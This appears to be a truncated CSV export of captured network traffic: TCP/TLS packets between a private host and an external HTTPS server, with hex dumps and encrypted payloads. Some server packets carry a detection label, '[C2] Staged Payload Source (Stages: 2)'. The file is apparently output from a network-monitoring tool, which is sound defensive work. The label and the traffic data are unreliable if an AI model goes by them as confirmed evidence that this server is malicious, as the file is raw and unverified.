.m\\..?..G1P...G.~Q.+N...r{.V..OT.E]W.......@.P.T.mg...Q\n..Y...x^.\"\".n.aJ..F).6p...RE..+<..L..\\M....W..Ys..n.C..U.........y(...9.S1.iJ.wW.yw=.........../r....W.;*.:.....<...0|..F.~.\t.?L..||.....]...._.\n\n.Y\\\n.....p-...F...S...S.m...)......Y.D@..:.z]^k..{..8..........paz..U..v..... .....:..x.F._.^.ey...}ENb.....}...X).XV.M.F.oHO.+(..S'....}...K.>.AA\n.d.0,..Jo.......mJ...H.VT...P+........O...\t.(.;..X.......<........~..V~ .E...[.o.q..b....o.e.....p.\n&.@.\n..?.h.q.....y).$.\\..c0.R.]..1:..R.J.q.m.&z...QT.0[.2..9..@.(........n..y*....v..T.o...O.#..B\ty8Le......,K..\t.?Nny.x...........?........43.^.I.h.!/}...a._.fK..........5..a..B....HN....}.%.q.V.h....q....x..Y..Q\n%5.9....2n.+.r.OdH.0..gOw.i.;..P.D.;'..*..@...,cKq.pGd.1..J....B.....rra......u.t;....i\\.....A.'......p.u2.o......Pm...HC.y..|G..D...d....\n......u......0yY....J....:........m...K..jY..{.O..V........ >8.f...)J..<.p./..)../.....oyn..e4#..,q......j..../.]@7..M..\"\"./..;..{.I\"\"......nL...\n.`[.....c..#(........\n..b\n..j...q.(}To........:.....@.3.9...N.fO~.&....M*...;.Ix..6..&..p..)(.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 60588, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 16454, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884102444, \"\"ack\"\": 2441338463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3576, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"e61f1915cb7c120c7a5d7b991969998edbf47961f18754263bc98b1143ba6556a1815cb3b6f2b1c49b3fc3daf8ca68ac5070d9fb7584e5e89795492ee599dd27eb346390b2f40985e48e31f6d129ac3b4c706adb98e982d2071f120be7847c712f5825d1b148f7541cb5c46b0f5f2c05d32bb1c7c8c4f4a07445b3c0aefebc19db6c5f43980283b183c24662e8090a028d2eba318f0a3a05074b8e4598562648dd71ff6043b0f3000d39141205e70b199073e2220d6674eda557efa447c20e7d545422726eca4f2a833ab678e7de139baf814d32db1ce5f2bec71740d1da48dd1aa42ff4248b31340fbd4e6b7c43f563edfa5416f525dab0607ad88af525cc0d3642dc43c2f5d234f5080796c0f5332ba3a52adf6760862a7235612fa07f9df87041316b509273cad9c9be0b887065830448b85d380c6e85ce4b457c46945e2c1760b34b59ca2acf8a04ef0a35dc4dc1bb73280e640c4f0978f1ac1f6c7f1af57cf460db0d24ddcda7d7ecf5abe94d9e06e67eb07ac97bf899756c49c003d9697750378ea086cbf885a26055cd9d533f0f6d248f94ea363741d673ce1662625e51adb0ccd22ad579f193b47346c81ac74ad60f7cd2241fa86a39c28e0d1a583b0c65c42890bce2166928a481da9671a551f94bdbf386875cdd23d9772678837410d0c2666bb82a743c89c0715cc9a8bcc424319475ee03534c9ce67b3c9e2cc660eb754dbd5410841a2daa95f5c4d600ce4c72da0067f9ebdd8e6054202785e36dd08a11f751f804defa750f056d6116cb8d0114799dec6aa743f09e948153fd283078c5b1cc31f1add7d9b545d0ef85daadb395c1f0e7963e50ca3ed3255a04f0f83be661458baef256bff57354121ac746e3e027c2d10312763c64dddfcd06483843d41d62bbaf5cad66247bcb08b856da6f6d7d6033d9f0c5c5240c734551ee1c976268a1a713817b84eacbf83f39181572c3e8fa648310375864fcdd28a0dd387fb235f2d6e5b18cc4fdab29c8176bbdb52259af1404bf09ccdacff129334398317159f4b442be73d5cebf8ef0c01fb2e164e6d775df6ceae5559d639313446e1430c6993c8a3d756de6bc1ca087de6baa32125c8605864f723fe4e63c14dc110ec909a074b41112c5ee828997da603eff13dd06a198183e5025c4bb042c1bd3442a957a36d5fa63ae19cd38f385883db2baba5e44cae3a29029a7ec78304e8b7fd3ff190508c18af2293e321698606d773cabd74a53615833d97aded9418e349d0395de8b43a68877e198dabd3c023d0f5c47a168de04352e25eb628b00e71eb61cf5762d26eef51e86ddca367a14948e94b1c4a81089c9f20b015a701f2b36c09a89a1b738ebd75451515108f8d55a7a7a032bfd22449971b91b752aceb0ddc40814c323bbf0be7b99a9c9dff934a06c571e4e3998fc7f61468baf300c1a5b1abb16f71b9abe54fcd0c9152bed895349da7c574f430972d53ac83cff5e89d06b215db03366faa6efd24c93079c094ad6034b626b2754dc56bc0c6b1b49f255c1b4a7b14b7750fde3658ac698a1bfeab589e645df29f1abbf81d7b595a416e4afb57ec4a178071ce61a9b70a9067cbf60efa3c8783ab59f2dd2822b5e7f79abc6344b7bdc6289eba7ce570c319deb91c5a857511a57e996e71f1322680d6459df4af0f99d35e6cf924fade086b268f202fa597a30a0f8c119613f7ea3e174522616ef3176353667f253e1111e277f17c0a616b7c226cad05179b8aae41b0e6606b487d941b1a3d6822d5939230d0c43adab276bd371fa0b762d6e0eb3dc1542e0dba0d5ea262d597a054299b9c6c2a1a4c60a16f66d9851fe46625ee3c3ab5db826b711af0c85eb675ea6e63d432c41da6ef78bcde329f546d0da742e77bd3a5d417348c23f616d1aea1a1708f431297b32716acff5068de4ff63047946ef5ee2e2de29746827692e0a1424ecafe01fd00a49dbd6a0a666dfc05f702d12e0499c4fd3d6776da0bbf76e0c4d1667ad4520df6667453c1c134188457a11a0781c3d2610ce849bab3852926719ee0dcf96908b412ac275c3a07fbbbca51b5b691ee5e485faafd5dad0d1a435810658170d1f778bad155944da71429797e1cf63099523a8be7da59faa61b72516e90505324e5789ba8a52b5edc3b4cda12ecad4133cfb436504460f0c7f386831ab52d04012bde305991f6edaeac8189c8f637083ae2313a94739049cb43d52e7ce19bb7c957133cb679a2e6d5211859dd058389067596d1168d9f27fe3643813ff860c34be1a41dd774037426407b1e937acefbb4a671606a3d167db4a5ec0286d9ba6f21aa2b4672c5e49a07364ffceb683acfbd55df9f20bff3bb26a38aa8f1dc280a6c15b8ca3d583abc6016e80ec81641cd4327b4993812922968ff68d2242660220d5dd695101e97023f0aa5dc5db6752889d1082ebe8f3d5e07b2a245eca8dbd1d464fbf580c72c2340dfd4bb8fe0c49aa9b03374cda4a1f498a700d4a15f39bfdaaa110bf8a261e30d0a518a2e75e28eae6e828929efc85a8fa2ac3316d14a5301e43c9f244d8296084108caf1f53149d2639f969bf496b7b91f45881aaf27793215d916be3102caaf5849f00c85ffb08db65c66afdd83e529bb560a90a7a5c7329954a8d3cac93eadf5b72800dfbf3f9ff9fd0f6759cb299b1347c140abeae89f72617bd7cd83939087becee73800f03acde89931f0ffaac2ed22dc8f08e08af8cdd8580766c163a0d29011eaa0e05bebbf266b4b056747383c60895658df94b8f971c47902374ca54615472de16fff54561f1d117b7e93530cd65a091eb48f8f8385966f3b68231c7c35a120a57e9d889e8db58564da3ea4b3b7aa303ee5dec35005e7ca82989b8d0d147208a783fb4ba80ef2285f4aa1088006771cb7c630ebbdcf843aab8c71e523470661972eefd4acbdc3608e350633bbd60809433210c3a9cbb83dcd885911683253a1834665a9e0bbc4eb54b061eb063ce4e8c42279146637536ee00bced781a825490ababd99e786fefdaba0dc1e33860706900c054d603c5587526aef3aafcef3bcde9fa7d60a887b3cf0cd0c32d9b03678bb9236483c1fc91156496e520ca48b72b56ee2452ffe6af05b041b0a2e1b18697de77555504ae03b8b80b39d70474e6fecad222da3e32371c9f94e06a3e1c3953e3498ce5967b742a5c5852b703451bda73cd7112f12d33e17a1bd595506bdbb9fc497afcab2e30ed4c51eb823e7a0f1f4ffec97cbcf34cacff5eb1443d7787413a568098a51e611f4a1f0c60e5005bfbef6d39a7cf4da95e2712e7653c92a5d4f6b0414045d8e2f534cbaa195bbb06a9c92f7ecbbaea889b8bae38bb272a6e05d71f75628795297902d428a638a60a84b2fce617d0836a2f00d9d8ac3dd4ed7de62fa19de0a9cfca08d489e9619b8d1a4651c092d0891845fe17b127f386f4433c44e3a1f659ac62d13445eba4672160200f884166477e54a38e16aa2ba01ba56424e84830b702ce8b202a1096ab639ec87f23124e69db3fa001a1e62d53695041eb156c5f192ac82248d3583fa161671be36a8e61ad6d64d8f09a9851665d42b43e4be213ca2fdb8d2b815c0c8e299346e1e3868ef740df4e7321b1fc18df5d80d1df6c853d3746e3eba48c8dcc2cef294179fe7e8cbaac89b1d8b297ef5f83973e1eb9d49da63b660e960a13adf2520df906a9853d0a5978648f3ac29897c0c1cdea24f66347b4e52c632f3fbbd584d0c64f9b5c42b80aaa316161f3501be073f88caec098f450e4efc5ba0daf2bd2a98c3417e3269c435ebe457f61aea61b35542c93d986ae800b8012a722bd9dbbfced54a9ccf83fda2cbd90a899073e8a2e70c87f722edbaa953214f088651ad2e1e01565ec8127f59de1c05644e564536901b86f00c978d1de4be9ce531419da5e8ffd64d03726097812a58c76cd8766c9312d3e1e1b48f98a02c8cda954735bf63637e0951217e2772b3fa0626a7022dcf19f57aaf8c5d2aef3a14b88e8e1a1c3b766ec78862b6780798052bd7804b1045796b12e9bcdcc19bf280890f67aaac78f8ead5742b6b90d2b52fd5354ad064a8e5004ce1b2d574bc2cc3d148e820807c6ad3b27ac57c1c8bf8b148bd977b2ccaea5429d9f14ad137cccd6e45b5e8bffdf1f6616c0dd57d06c469c81006d1196f084224339f42639183c62751751684676101317948d32add4fe3ff429e38f224dd0c1d9eb7877a86eb367a0b8d7372e20df6d5c14d53fbead473150f50e9b47ae7e51ea2b4e17a6c9727bf856d6dc4f540f455d57cfccde0fcd191140ff500e54f26d67dfd183510a81c159f69503785e1322986ede614ab0c0462902367097edb252452eb62b3c89c04cdd145c4d0c8afdec571cfb5973c31f6ed943890e55f199a2ca12cdabdff37928ae12d539955331c3694a0b7757ca79773dfde5b7e0d716b28fa8bba92f72c801021557b33b2ae23a1a93deab903c9fa981307cbf9b46897e1b09a83f4cb0b37c7c9f98ed01b85dafd98b005f9b0a0d1f595c0d2eea1aa3b6702d1d8ebb467f99d2531daedd53a36dd3d09b29c586910bc7fc59954440f2dc3aeb7a5d5e6b9aaa7bb5b638e612c3dfc8e807bc8ce370617af39c55f0ac76c20805eee3209a918b97f93ad7bc78b446af5fe35eab6579e39aa47d454e62c8ca91a1cf7d8612d35829e55856ac4dba46866f484f072b288abb5327a4a3a6de7df0d1ee4bdd3e9841410df3641e302cb3e54a6fe1fd149dfe99f26d4abba6a94899565494aab6502bc218d09d15ae00c04ff6eca7090028da3bb3bf581ed0e1c27fa31c3cb90eb68891e8d7957e00a3567e20e445e389925bd36fc271b6906295b098fa6f9665fdb4cba9e170a20d261540bd0d08c03fb9688571e214bef71b7929da249d5c938c6330a1520f5daaa4313aa1c852044a9b71ca6de1267af5db8d5154cc305bc132ede539d1df40f8280705b396fcd8ecb26ef7e6792a830fffb3761d8b548b6fc61ad44fa923bbf1420979384c658ec2adcecab02c4bc8f709b93f4e6e798e78f0a793f0ffafd78ec9add93fb103db850e85b2a034339f5ed449d66811212f7daae4cd61dc5f13664bea828be5b71d98ef8bf835fec261eb9d42b3ced0c2484ec51010167d07259671da56dd68d90e039d71d6f4ae12789f9259d8de510d2535df3913b9a3df326ef42bee72ce4f64481830e3d4674f77ef69a03bd08150cd44aa3b27d1f12af6d9408ade9a2c634b71ef704764a431c1f34ace05e9c5421bd581a17f7272619bd387a9cb9c75a7743bcca398d9695c1ea7f1a0a04111279df3ea93bbe470d07532b96fe812e0cbf1a7506d14859c4843ee790ffe7c479bb844b5e482640c9d9d1a0aae8ae0a70bea75dea08097a1c1307959aecbb7014ab5ea99d63ae2fabb8ac1a9dbbd6dfda2f04b00b96a59f7977b994f168c56da05be9ba20bfef4203e380466cc0387294a0bf83cff70b72f0ea429c8bf2fe916c1cf196f796eb0f0653423aaba2c71c5c3a982d2186ae5aeabac2fd75d403786074d9b9b228c2fc5ba3bd71d7bbf4922acddf59580b16e4cc585ec0acd605bb6e7b3019c6393d02328a38de0ffb4fcb2ed0d8fad620dc9ad6a11a0e471b9287d546fe0ce11aad3c5fc9e3acece879d0240d633b739988cda4eb1664f7ea22683e3a5fe4d2ac2f5133b8f49789ea136d2c22614b07004ca2928d9\"\"}}]\"\n2026-06-14 14:22:41.929926,16,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441338463 Ack=1884106492,bc24112907bbbc2411360d0c0800450000282fb640008006cd0c0a98980b02175953f9c901bb9183de5f704d2efc50100402a3130000,\".$.)...$.6\n...E..(/.@.....\n.....YS......._pM..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12214, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52492, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441338463, \"\"ack\"\": 1884106492, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 41747, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.929958,17,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=1884106492 Ack=2441338463,bc2411360d0cbc24112907bb0800450002a1ecaf400040064d9a021759530a98980b01bbf9c9704d2efc9183de5f5018003f00a10000208fb54b4bbedcbd55db4b240cf50ee1e80158ef3b1611656907595333b50e331cd37027f8ca65b334605f5e54f93a57138e3427d0e61a69220c86ae20cf451f940e17c414e0f2dfa533a63cad26832102c4777b53435808a60c3f0c3d5d73add3ae364c3dc6b1edebc40d01b0d1178347875bc249fab3eba27679b6b35c00cf6a44995fcb70ae58e8841a2513e49580347c5d92f95ba544e0f94af5a3fd654398bebd921e7e040559f2be92bee1cec220c57cc3941de404196ce50fb49d161e7d5ff6f76df47fae08a4a3056e2ef43e45b06a7659ba8804e2ef58b4d47101cd9ddff0fcf42105c2712655f90b2cb19089e31b1885df764a55d9a721ebc2d80308c6d1f243edc9f63e08625765235b0ad3e9c803a43003f174afca1d040f15d5508177661196914635b99a82f82224ff20ffae170ed903af29466bafb99ef2b22fc774aaaa0490fade26db04fad3692c865ec87d2ce91e22d3c6938024d589e6fb9fafcbaea868b04693023d2718c2333c72f59f15616ce9d64519e9a0ca38539a283d2ae79042e98aa2f66a09f05cc9d03e01370d9de9e46c8eb118d86274e98212c6d52ee044cbbd4637b845f8de1f24abe15a8d493723bbf0588736ba6b42b8aa832ac9a4239f2a5e8f5b69f2ed25e1b333f527236c56e20876afb13cb6a12abf07d3251a6df85844708036d777107f7bf65778c270adbda395fa18d3b6d7e176efd04a6c637fbd4c9cc20c6760d8e444515ff7e67cbb9a908cc302729425183e8518335ed87a991881a18d20d166a7893221538c1a238197b63c0f1541a459564f543d7ac25956c39c135882aae7444f41490a6ca0ea87acc4c22884819ed328ded1a71949522e50c18bb8c42e24234a3881cd81274f74,\" ..KK...U.K$......X.;..ei.YS3..3..p'..e.4`_^T.:W..4'...i\"\"... .E..........3.<.&.!..w{SCX...?.=]s...6L=.....\n.....G.[.I....vy..\\..jD._.p.X...%....4|]..[.D..J...eC.....~..Y....... .|......l......}_..m.......n..>E.jvY.....X..q.......!..q&U..,........vJU..!........C...>.bWe#[\n.....0..t.......P.wf...F5....\"\"$. .......)Fk...../.t......&....i,.^.},..\"\"....$.........h.F..='..3<r...al..E....8S.(=*..B....j\t.\\..>.7\n...l....bt.......D..F7.E...$..Z.I7#..X.6.kB...*..#.*^.[i..%..3.'#lV..v..<..*...%.m.XDp.6.w..{.Wx.p..........v..Jlc..L...g`..DQ_..|......r.%.>..3^.z..... .f..2!S..#...<..A.YVOT=z.YV...X...DOAI\nl......(....(....IR.P.....$#J8...'Ot\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 673, \"\"id\"\": 60591, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19866, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884106492, \"\"ack\"\": 2441338463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 161, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"208fb54b4bbedcbd55db4b240cf50ee1e80158ef3b1611656907595333b50e331cd37027f8ca65b334605f5e54f93a57138e3427d0e61a69220c86ae20cf451f940e17c414e0f2dfa533a63cad26832102c4777b53435808a60c3f0c3d5d73add3ae364c3dc6b1edebc40d01b0d1178347875bc249fab3eba27679b6b35c00cf6a44995fcb70ae58e8841a2513e49580347c5d92f95ba544e0f94af5a3fd654398bebd921e7e040559f2be92bee1cec220c57cc3941de404196ce50fb49d161e7d5ff6f76df47fae08a4a3056e2ef43e45b06a7659ba8804e2ef58b4d47101cd9ddff0fcf42105c2712655f90b2cb19089e31b1885df764a55d9a721ebc2d80308c6d1f243edc9f63e08625765235b0ad3e9c803a43003f174afca1d040f15d5508177661196914635b99a82f82224ff20ffae170ed903af29466bafb99ef2b22fc774aaaa0490fade26db04fad3692c865ec87d2ce91e22d3c6938024d589e6fb9fafcbaea868b04693023d2718c2333c72f59f15616ce9d64519e9a0ca38539a283d2ae79042e98aa2f66a09f05cc9d03e01370d9de9e46c8eb118d86274e98212c6d52ee044cbbd4637b845f8de1f24abe15a8d493723bbf0588736ba6b42b8aa832ac9a4239f2a5e8f5b69f2ed25e1b333f527236c56e20876afb13cb6a12abf07d3251a6df85844708036d777107f7bf65778c270adbda395fa18d3b6d7e176efd04a6c637fbd4c9cc20c6760d8e444515ff7e67cbb9a908cc302729425183e8518335ed87a991881a18d20d166a7893221538c1a238197b63c0f1541a459564f543d7ac25956c39c135882aae7444f41490a6ca0ea87acc4c22884819ed328ded1a71949522e50c18bb8c42e24234a3881cd81274f74\"\"}}]\"\n2026-06-14 14:22:41.977151,18,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2441338463 Ack=1884107125,bc24112907bbbc2411360d0c0800450000282fb740008006cd0b0a98980b02175953f9c901bb9183de5f704d317550100400a09c0000,\".$.)...$.6\n...E..(/.@.....\n.....YS......._pM1uP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52491, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441338463, \"\"ack\"\": 1884107125, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 41116, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:42.386513,19,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2441338463 Ack=1884107125,bc24112907bbbc2411360d0c0800450001a62fb840008006cb8c0a98980b02175953f9c901bb9183de5f704d3175501804004d1e000017030301790000000000000002020c32f5200325988eb4e2dcdd543f6083465bb06fa4fac3f00f56830ddc432f4cc451672f6ce379535a6a00ed3607ea9c93a884fc731236368a4693110ba71f713bd1ad779a71efc0579e7cb163c7e9473a472a1da0daea9cc4465fd594dff9fb6382666d08cfb71bf0af9bec2e314657493b74be453338bd887fc86a37d43897f7bd71f124e472060430cbbdd74b0c70880b52bf2bd752030359258b02bb3a4249768766c946de06bbe47ec2b49c494865f09b076d8e59860b78c10ac257c26d63fddd2376bb278f67bb177bd71ec0e768a0a55c4859a80d332b2c6f9bbf91574d32d2182a091538d301f8364d8b47f66c5064aed48cb858eb8af4a317dd5eadbe5d892e76bbfd9a28d6b6bcbff512edaa1775426846919650ce07082319f6b347bf773d3988d352a9dd5925a4dae57fafd1b8daa41c69321ffcc7a14ec64aa5259ce9b3572a7389d2f23b5fd72de8b5e9d50fa4d2284097b97cedcdb36beb60ad535144f534f72125e25df5b235ec50,\".$.)...$.6\n...E.../.@.....\n.....YS......._pM1uP...M.......y..........2. .%......T?`.F[.o.....V.\n.C/L.Qg/l.ySZj..6.......s.66.F.....q;..w.q..W.|.c..G:G*......F_.....c.fm.........1FWI;t.E38....j7.8...q.$.r..0...K.p..R.+.R..Y%...:BIv.f.F....~...IHe...m.Y..x.\n.W.mc..#v.'.g..{....h..\\HY.\n3+,o...WM2..*\t.8...6M.G.lPd....X......^..]..v...(.........uBhF..P...#...G.w=9..R..Y%..........i2....N.J.%...W*s...;_.-.......(@..|...k.`.SQD.4.!%.]..5.P\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 422, \"\"id\"\": 12216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52108, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441338463, \"\"ack\"\": 1884107125, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 19742, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 377, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x02\\\\x0c2\\\\xf5 \\\\x03%\\\\x98\\\\x8e\\\\xb4\\\\xe2\\\\xdc\\\\xddT?`\\\\x83F[\\\\xb0o\\\\xa4\\\\xfa\\\\xc3\\\\xf0\\\\x0fV\\\\x83\\\\r\\\\xdcC/L\\\\xc4Qg/l\\\\xe3ySZj\\\\x00\\\\xed6\\\\x07\\\\xea\\\\x9c\\\\x93\\\\xa8\\\\x84\\\\xfcs\\\\x1266\\\\x8aF\\\\x93\\\\x11\\\\x0b\\\\xa7\\\\x1fq;\\\\xd1\\\\xadw\\\\x9aq\\\\xef\\\\xc0W\\\\x9e|\\\\xb1c\\\\xc7\\\\xe9G:G*\\\\x1d\\\\xa0\\\\xda\\\\xea\\\\x9c\\\\xc4F_\\\\xd5\\\\x94\\\\xdf\\\\xf9\\\\xfbc\\\\x82fm\\\\x08\\\\xcf\\\\xb7\\\\x1b\\\\xf0\\\\xaf\\\\x9b\\\\xec.1FWI;t\\\\xbeE38\\\\xbd\\\\x88\\\\x7f\\\\xc8j7\\\\xd48\\\\x97\\\\xf7\\\\xbdq\\\\xf1$\\\\xe4r\\\\x06\\\\x040\\\\xcb\\\\xbd\\\\xd7K\\\\x0cp\\\\x88\\\\x0bR\\\\xbf+\\\\xd7R\\\\x03\\\\x03Y%\\\\x8b\\\\x02\\\\xbb:BIv\\\\x87f\\\\xc9F\\\\xde\\\\x06\\\\xbb\\\\xe4~\\\\xc2\\\\xb4\\\\x9cIHe\\\\xf0\\\\x9b\\\\x07m\\\\x8eY\\\\x86\\\\x0bx\\\\xc1\\\\n\\\\xc2W\\\\xc2mc\\\\xfd\\\\xdd#v\\\\xbb'\\\\x8fg\\\\xbb\\\\x17{\\\\xd7\\\\x1e\\\\xc0\\\\xe7h\\\\xa0\\\\xa5\\\\\\\\HY\\\\xa8\\\\r3+,o\\\\x9b\\\\xbf\\\\x91WM2\\\\xd2\\\\x18*\\\\t\\\\x158\\\\xd3\\\\x01\\\\xf86M\\\\x8bG\\\\xf6lPd\\\\xae\\\\xd4\\\\x8c\\\\xb8X\\\\xeb\\\\x8a\\\\xf4\\\\xa3\\\\x17\\\\xdd^\\\\xad\\\\xbe]\\\\x89.v\\\\xbb\\\\xfd\\\\x9a(\\\\xd6\\\\xb6\\\\xbc\\\\xbf\\\\xf5\\\\x12\\\\xed\\\\xaa\\\\x17uBhF\\\\x91\\\\x96P\\\\xce\\\\x07\\\\x08#\\\\x19\\\\xf6\\\\xb3G\\\\xbfw=9\\\\x88\\\\xd3R\\\\xa9\\\\xddY%\\\\xa4\\\\xda\\\\xe5\\\\x7f\\\\xaf\\\\xd1\\\\xb8\\\\xda\\\\xa4\\\\x1ci2\\\\x1f\\\\xfc\\\\xc7\\\\xa1N\\\\xc6J\\\\xa5%\\\\x9c\\\\xe9\\\\xb3W*s\\\\x89\\\\xd2\\\\xf2;_\\\\xd7-\\\\xe8\\\\xb5\\\\xe9\\\\xd5\\\\x0f\\\\xa4\\\\xd2(@\\\\x97\\\\xb9|\\\\xed\\\\xcd\\\\xb3k\\\\xeb`\\\\xadSQD\\\\xf54\\\\xf7!%\\\\xe2]\\\\xf5\\\\xb25\\\\xecP\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:42.386574,20,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1884107125 Ack=2441338845,bc2411360d0cbc24112907bb080045000028ecb0400040065012021759530a98980b01bbf9c9704d31759183dfdd5010003ffe270000,\".$.6\n..$.)....E..(..@.@.P...YS\n.......pM1u....P..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": 